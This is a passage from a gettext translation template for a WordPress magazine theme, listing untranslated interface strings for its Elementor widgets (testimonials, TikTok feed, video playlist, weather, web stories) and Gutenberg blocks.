msgid "Social Icons Borders Width"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:23
msgid " Testimonials"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:43
msgid "Testimonials"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:148
msgid "Column Gap"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:194
msgid "Reviews Items"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:204
msgid "Custom Name"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:206
msgid "Testimonail #1"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:212
msgid "Choose Avatar"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:220
#: inc/js_composer/shortcodes/testimonails/settings.php:271
msgid "Company/Position"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:229
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:257
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:264
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:271
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:278
msgid "I am text block. Click edit button to change this text."
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:235
#: inc/js_composer/shortcodes/testimonails/settings.php:283
msgid "Rating"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:255
msgid "Customer #1"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:258
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:265
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:272
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:279
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:578
msgid "Company Name"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:262
msgid "Customer #2"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:269
msgid "Customer #3"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:276
msgid "Customer #4"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:370
msgid "Name Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:378
msgid "Company/Position Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:386
msgid "Image Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:394
msgid "Rating Spacing Top"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:411
msgid "Description Spacing Bottom"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:420
#: inc/js_composer/shortcodes/testimonails/settings.php:154
msgid "Description Padding"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:451
msgid "Member Items Background Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:462
msgid "Adjust Box Shadow"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:471
msgid "Member Items Padding"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:484
msgid "Quote Icon Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:492
msgid "Quote Icon Background Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:502
msgid "Quote Icon size"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:551
msgid "Customers Name"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:560
msgid "Name Text Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:570
msgid "Typography for Name"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:587
msgid "Company Name Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:596
msgid "Typography for Company Name"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:622
msgid "Description Background Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:636
msgid "Typography for Description"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:657
msgid "Stars Rating"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:666
#: inc/js_composer/shortcodes/testimonails/settings.php:457
msgid "Rating Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:674
msgid "Rating size"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:698
msgid "Dots Navigation Background Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:710
msgid "Dots Navigation Borders Color"
msgstr ""

#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:722
msgid "Dots Navigation Active Color"
msgstr ""

#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:20
msgid " Text Block"
msgstr ""

#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:40
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:61
msgid "Text Editor"
msgstr ""

#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:85
msgid "Justified"
msgstr ""

#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:20
msgid " TikTok Feed"
msgstr ""

#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:44
msgid "TikTok Data"
msgstr ""

#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:48
msgid "Username ( Without @ )"
msgstr ""

#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:96
msgid "TikTok"
msgstr ""

#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:101
msgid "Username Typography"
msgstr ""

#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:105
msgid "Username Color"
msgstr ""

#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:113
msgid "Username Hover Color"
msgstr ""

#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:148
#: inc/js_composer/shortcodes/tiktok_embed_feed/frontend.php:23
msgid "Please enter your Tiktok username"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:20
msgid " Video Playlist"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:61
#: inc/js_composer/shortcodes/video_playlist/settings.php:17
msgid "Video Type"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:66
#: inc/js_composer/shortcodes/video_playlist/settings.php:22
msgid "Youtube Playlist"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:71
#: inc/js_composer/shortcodes/video_playlist/settings.php:52
msgid "Videos List"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:74
msgid ""
"Enter each video url in a seprated line. Supports: YouTube and Vimeo videos "
"only."
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:78
#: inc/js_composer/shortcodes/video_playlist/settings.php:45
msgid "Youtube Playlist ID"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:81
msgid "Enter Youtube Playlist ID or Playlist URL."
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:85
msgid "Limit Items on Youtube Playlist"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:92
#: inc/js_composer/shortcodes/video_playlist/settings.php:60
msgid "Hide video duration"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:98
#: inc/js_composer/shortcodes/video_playlist/settings.php:67
msgid "Hide video order number"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:104
#: inc/js_composer/shortcodes/video_playlist/settings.php:74
msgid "Title Length for Video"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:110
#: inc/js_composer/shortcodes/video_playlist/settings.php:81
msgid "Unique ID for Save & Clear Caching"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:125
#: inc/js_composer/shortcodes/video_playlist/settings.php:194
msgid "Background list videos"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:131
#: inc/js_composer/shortcodes/video_playlist/settings.php:201
msgid "Video title color"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:137
#: inc/js_composer/shortcodes/video_playlist/settings.php:208
msgid "Video title hover color"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:143
#: inc/js_composer/shortcodes/video_playlist/settings.php:215
msgid "Video duration color"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:149
#: inc/js_composer/shortcodes/video_playlist/settings.php:222
msgid "Video order number color"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:155
#: inc/js_composer/shortcodes/video_playlist/settings.php:229
msgid "Video order number background color"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:161
#: inc/js_composer/shortcodes/video_playlist/settings.php:236
msgid "Item video border color"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:167
#: inc/js_composer/shortcodes/video_playlist/settings.php:243
msgid "Item video hover background and border color"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:173
#: inc/js_composer/shortcodes/video_playlist/settings.php:250
msgid "Scroll bar background color"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:215
#: inc/js_composer/shortcodes/video_playlist/settings.php:115
msgid "Style Video List"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:378
msgid "Border Bottom on Widget Heading Style 7,8"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:388
msgid "Background Shapes"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:423
msgid "For Lines on Style 18, 19, 20"
msgstr ""

#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:599
#: inc/js_composer/shortcodes/video_playlist/frontend.php:121
#: inc/widgets/video_playlist.php:170
msgid "Thumbnail youtube"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:19
msgid " Weather"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:50
#: inc/js_composer/shortcodes/weather/settings.php:31
msgid "Enable User Location"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:59
#: inc/js_composer/shortcodes/weather/settings.php:41
msgid ""
"Use Cookies to Save Weather Data When Users Access it Based on Their "
"Location?"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:69
#: inc/js_composer/shortcodes/weather/settings.php:16
msgid "Search your for location:"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:73
#: inc/js_composer/shortcodes/weather/settings.php:21
#: inc/widgets/weather.php:180
msgid "Find your location"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:80
msgid "Location display"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:82
#: inc/js_composer/shortcodes/weather/settings.php:27
#: inc/widgets/weather.php:189
msgid "If the option is empty,will display results from "
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:93
#: inc/js_composer/shortcodes/weather/settings.php:55
msgid "F"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:94
#: inc/js_composer/shortcodes/weather/settings.php:56
msgid "C"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:101
#: inc/js_composer/shortcodes/weather/settings.php:62
msgid "Forcast"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:105
#: inc/js_composer/shortcodes/weather/settings.php:65
msgid "1 Day"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:106
#: inc/js_composer/shortcodes/weather/settings.php:66
msgid "2 Days"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:107
#: inc/js_composer/shortcodes/weather/settings.php:67
msgid "3 Days"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:108
#: inc/js_composer/shortcodes/weather/settings.php:68
msgid "4 Days"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:109
#: inc/js_composer/shortcodes/weather/settings.php:69
msgid "5 Days"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:129
#: inc/js_composer/shortcodes/weather/settings.php:87
msgid "General color"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:146
#: inc/js_composer/shortcodes/weather/settings.php:94
msgid "Localtion color"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:155
msgid "Typography for Location"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:162
msgid "Typography for Cloudiness"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:169
msgid "Typography for Wind,Humidity, Clouds"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:177
#: inc/js_composer/shortcodes/weather/settings.php:134
msgid "Border color"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:187
#: inc/js_composer/shortcodes/weather/settings.php:141
msgid "Degrees color"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:196
msgid "Typography for Temperature"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:203
msgid "Typography for Min/Max Temperature"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:211
#: inc/js_composer/shortcodes/weather/settings.php:170
msgid "Custom color for forecast weather in next days"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:221
#: inc/js_composer/shortcodes/weather/settings.php:177
msgid "Custom background for forecast weather in next days"
msgstr ""

#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:232
msgid "Typography for Weather Forecast"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:20
msgid " Web Story"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:43
msgid "Stories Query"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:47
#: inc/js_composer/inc/product_param.php:102
#: inc/js_composer/shortcodes/product/settings.php:105
#: inc/js_composer/shortcodes/web_stories/settings.php:23
msgid "Query Type"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:51
#: inc/js_composer/shortcodes/web_stories/settings.php:26
msgid "All Stories"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:52
#: inc/js_composer/shortcodes/web_stories/settings.php:27
msgid "Custom Stories"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:56
msgid "Custom Story"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:96
msgid "Exclude Tags"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:106
msgid "Exlcude Custom Stories"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:144
#: inc/js_composer/shortcodes/web_stories/settings.php:74
msgid "Number of Stories"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:150
msgid "Offset Stories"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:167
#: inc/js_composer/shortcodes/web_stories/settings.php:95
msgid "One Row"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:215
#: inc/js_composer/shortcodes/web_stories/settings.php:109
msgid "Custom Item Width"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:225
msgid "Thumbnail Image Size"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:230
msgid "Disable Lazyload on Thumbnail Images"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:238
msgid "Vertical Spacing Between Items"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:248
msgid "Horizontal Spacing Between Items"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:254
#: inc/js_composer/shortcodes/web_stories/settings.php:121
msgid "Show Story Title"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:269
msgid "Show Positon Number of Current Story"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:326
msgid "Stories"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:344
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:350
msgid "Story Borders Color"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:355
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:361
msgid "Story Seen Borders Color"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:366
msgid "Inner Borders Width"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:373
msgid "Inner Borders Color"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:386
msgid "Typography for Story Title"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:390
msgid "Story Title Color"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:395
msgid "Spacing Between Title & Thumbnail"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:405
msgid "Popup"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:441
msgid "Next/Prev Buttons"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:446
msgid "Next/Prev Buttons Color"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:454
msgid "Next/Prev Buttons Hover Color"
msgstr ""

#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:462
msgid "Next/Prev Buttons Size"
msgstr ""

#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:52
msgid "Display Related Posts By"
msgstr ""

#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:66
#: inc/elementor/modules/query-control/module.php:63
msgid "Search by Title & Select"
msgstr ""

#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:96
#: inc/elementor/modules/query-control/module.php:53
msgid "Manual Selection"
msgstr ""

#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:97
msgid "Archive Builder / Current Query"
msgstr ""

#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:98
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:11
msgid "Post Builder - Related Posts"
msgstr ""

#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:198
msgid "Ignore Sticky Posts"
msgstr ""

#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:202
msgid ""
"Sticky-posts ordering is visible on frontend only. And includes sticky posts "
"doesn't work if you filter your posts by a taxonomy or multiple taxonomies "
"(categories, tags... ) - because it doesn't support by WordPress itself."
msgstr ""

#: inc/elementor/modules/query-control/module.php:52
msgid "Current Post"
msgstr ""

#: inc/excerpt.php:27
msgid "There is no excerpt because this is a protected post."
msgstr ""

#: inc/gutenberg/block/blockquote/index.js:46
msgid "Quote Content"
msgstr ""

#: inc/gutenberg/block/blockquote/index.js:51
msgid "Quote Author"
msgstr ""

#: inc/gutenberg/block/blockquote/index.js:75
msgid "Penci: Blockquote"
msgstr ""

#: inc/gutenberg/block/blockquote/index.js:76
msgid "Maybe someone else said it better -- add some quoted text."
msgstr ""

#: inc/gutenberg/block/blockquote/index.php:11
msgid "Please active Penci Shortcodes plugin"
msgstr ""

#: inc/gutenberg/block/blockquote/index.php:27
#: inc/gutenberg/block/featured-boxes/index.php:93
#: inc/gutenberg/block/featured-cat/index.php:26
#: inc/gutenberg/block/latest-posts/index.php:21
#: inc/gutenberg/block/popular-posts/index.php:19
#: inc/gutenberg/block/portfolio/index.php:24
#: inc/gutenberg/block/recipe-index/index.php:25
#: inc/gutenberg/block/recipe/index.php:20
#: inc/gutenberg/block/review/index.php:21
msgid "Click to edit this block"
msgstr ""

#: inc/gutenberg/block/blockquote/index.php:37
msgid "Add Quote Content..."
msgstr ""

#: inc/gutenberg/block/blockquote/index.php:41
msgid "Add Quote Author..."
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:71
msgid "Featured Box Settings"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:73
msgid "Featured Boxes Style"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:91
msgid "Featured Boxes Size Type"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:123
msgid "Featured Box 1"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:125
msgid "Featured Box 1st Image"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:128
#: inc/gutenberg/block/featured-boxes/index.js:145
#: inc/gutenberg/block/featured-boxes/index.js:162
#: inc/gutenberg/block/featured-boxes/index.js:179
#: inc/gutenberg/block/featured-boxes/index.js:196
msgid "You just need choose image for this option with the width is 500px"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:131
msgid "Featured Box 1st Text"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:136
msgid "Featured Box 1st URL"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:142
msgid "Featured Box 2nd Image"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:148
msgid "Featured Box 2nd Text"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:153
msgid "Featured Box 2nd URL"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:159
msgid "Featured Box 3rd Image"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:165
msgid "Featured Box 3rd Text"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:170
msgid "Featured Box 3rd URL"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:176
msgid "Featured Box 4th Image"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:182
msgid "Featured Box 4th Text"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:187
msgid "Featured Box 4th URL"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:193
msgid "Featured Box 5th Image"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:199
msgid "Featured Box 5th Text"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:204
msgid "Featured Box 5th URL"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:210
msgid "Featured Box 6th Image"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:213
msgid "You just need choose image for this option with the width is 600px"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:216
msgid "Featured Box 6th Text"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:221
msgid "Featured Box 6th URL"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:227
msgid "Featured Box 7th Image"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:230
msgid "You just need choose image for this option with the width is 700px"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:233
msgid "Featured Box 7th Text"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:238
msgid "Featured Box 7th URL"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:244
msgid "Featured Box 8th Image"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:247
msgid "You just need choose image for this option with the width is 800px"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:250
msgid "Featured Box 8th Text"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:255
msgid "Featured Box 8th URL"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.js:270
msgid "Penci: Featured boxes"
msgstr ""

#: inc/gutenberg/block/featured-boxes/index.php:29
msgid "Please fill Featured Boxes"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:39
msgid "Style 1 - 1st Post Grid Featured on Left"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:40
msgid "Style 2 - 1st Post Grid Featured on Top"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:41
#: inc/meta-box/categories-meta-box.php:152
msgid "Style 3 - Text Overlay"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:42
#: inc/meta-box/categories-meta-box.php:153
msgid "Style 4 - Single Slider"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:43
#: inc/meta-box/categories-meta-box.php:154
msgid "Style 5 - Slider 2 Columns"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:44
msgid "Style 6 - 1st Post List Featured on Top"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:45
#: inc/meta-box/categories-meta-box.php:156
msgid "Style 7 - Grid 2 Columns"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:46
#: inc/meta-box/categories-meta-box.php:157
msgid "Style 8 - List Layout"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:47
#: inc/meta-box/categories-meta-box.php:158
msgid "Style 9 - Small List Layout"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:48
msgid "Style 10 - 2 First Posts Featured and List"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:49
msgid "Style 11 - Text Overlay Center"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:50
#: inc/meta-box/categories-meta-box.php:161
msgid "Style 12 - Slider 3 Columns"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:51
#: inc/meta-box/categories-meta-box.php:162
msgid "Style 13 - Grid 3 Columns"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:52
msgid "Style 14 - 1st Post Overlay Featured on Top"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:53
msgid "Style 15 - Overlay Left then List on Right"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:71
msgid "Featured Category Settings"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:73
#: inc/js_composer/soledad_vc.php:954
msgid "Featured Category Layout"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:88
msgid "Number Posts Display"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:93
msgid "Fill the number posts display you want here"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.js:124
msgid "Penci: Featured Categories"
msgstr ""

#: inc/gutenberg/block/featured-cat/index.php:12
msgid "Please fill the category slug."
msgstr ""

#: inc/gutenberg/block/latest-posts/index.js:73
msgid "Latest Posts Settings"
msgstr ""

#: inc/gutenberg/block/latest-posts/index.js:75
msgid "Heading Title for Latest Posts"
msgstr ""

#: inc/gutenberg/block/latest-posts/index.js:81
#: inc/js_composer/soledad_vc.php:72
msgid "Latest Posts Layout"
msgstr ""

#: inc/gutenberg/block/latest-posts/index.js:129
msgid "Penci: Latest Posts"
msgstr ""

#: inc/gutenberg/block/popular-posts/index.js:40
msgid "Once Week"
msgstr ""

#: inc/gutenberg/block/popular-posts/index.js:41
msgid "Once Month"
msgstr ""

#: inc/gutenberg/block/popular-posts/index.js:52
msgid "Popular Posts Settings"
msgstr ""

#: inc/gutenberg/block/popular-posts/index.js:59
msgid "Display Popular Posts by?"
msgstr ""

#: inc/gutenberg/block/popular-posts/index.js:78
msgid "Filter Popular Posts by Category(s)"
msgstr ""

#: inc/gutenberg/block/popular-posts/index.js:81
msgid ""
"If you want to exclude any categories, fill the categories slug here. See "
"here to know what is category slug. Example: cat-1, cat-2"
msgstr ""

#: inc/gutenberg/block/popular-posts/index.js:84
msgid "Number Posts To Display"
msgstr ""

#: inc/gutenberg/block/popular-posts/index.js:101
msgid "Penci: Popular Posts"
msgstr ""

#: inc/gutenberg/block/portfolio/index.js:68
msgid "Portfolio Settings"
msgstr ""

#: inc/gutenberg/block/portfolio/index.js:70
msgid "Portfolio Style"
msgstr ""

#: inc/gutenberg/block/portfolio/index.js:84
msgid "Number Portfolio Display"
msgstr ""

#: inc/gutenberg/block/portfolio/index.js:106
#: inc/js_composer/soledad_vc.php:1421
msgid "Image Type - Just apply for Grid Style"
msgstr ""

#: inc/gutenberg/block/portfolio/index.js:150
msgid "Penci: Portfolio"
msgstr ""

#: inc/gutenberg/block/portfolio/index.php:11
msgid "Please active Penci Portfolio plugin"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:55
msgid "Recipe Index Settings"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:62
msgid "Recipe Index Category Slug"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:67
msgid "Numbers Posts to Show?"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:88
msgid "Display Posts Categories?"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:93
msgid "Display Posts Date?"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:98
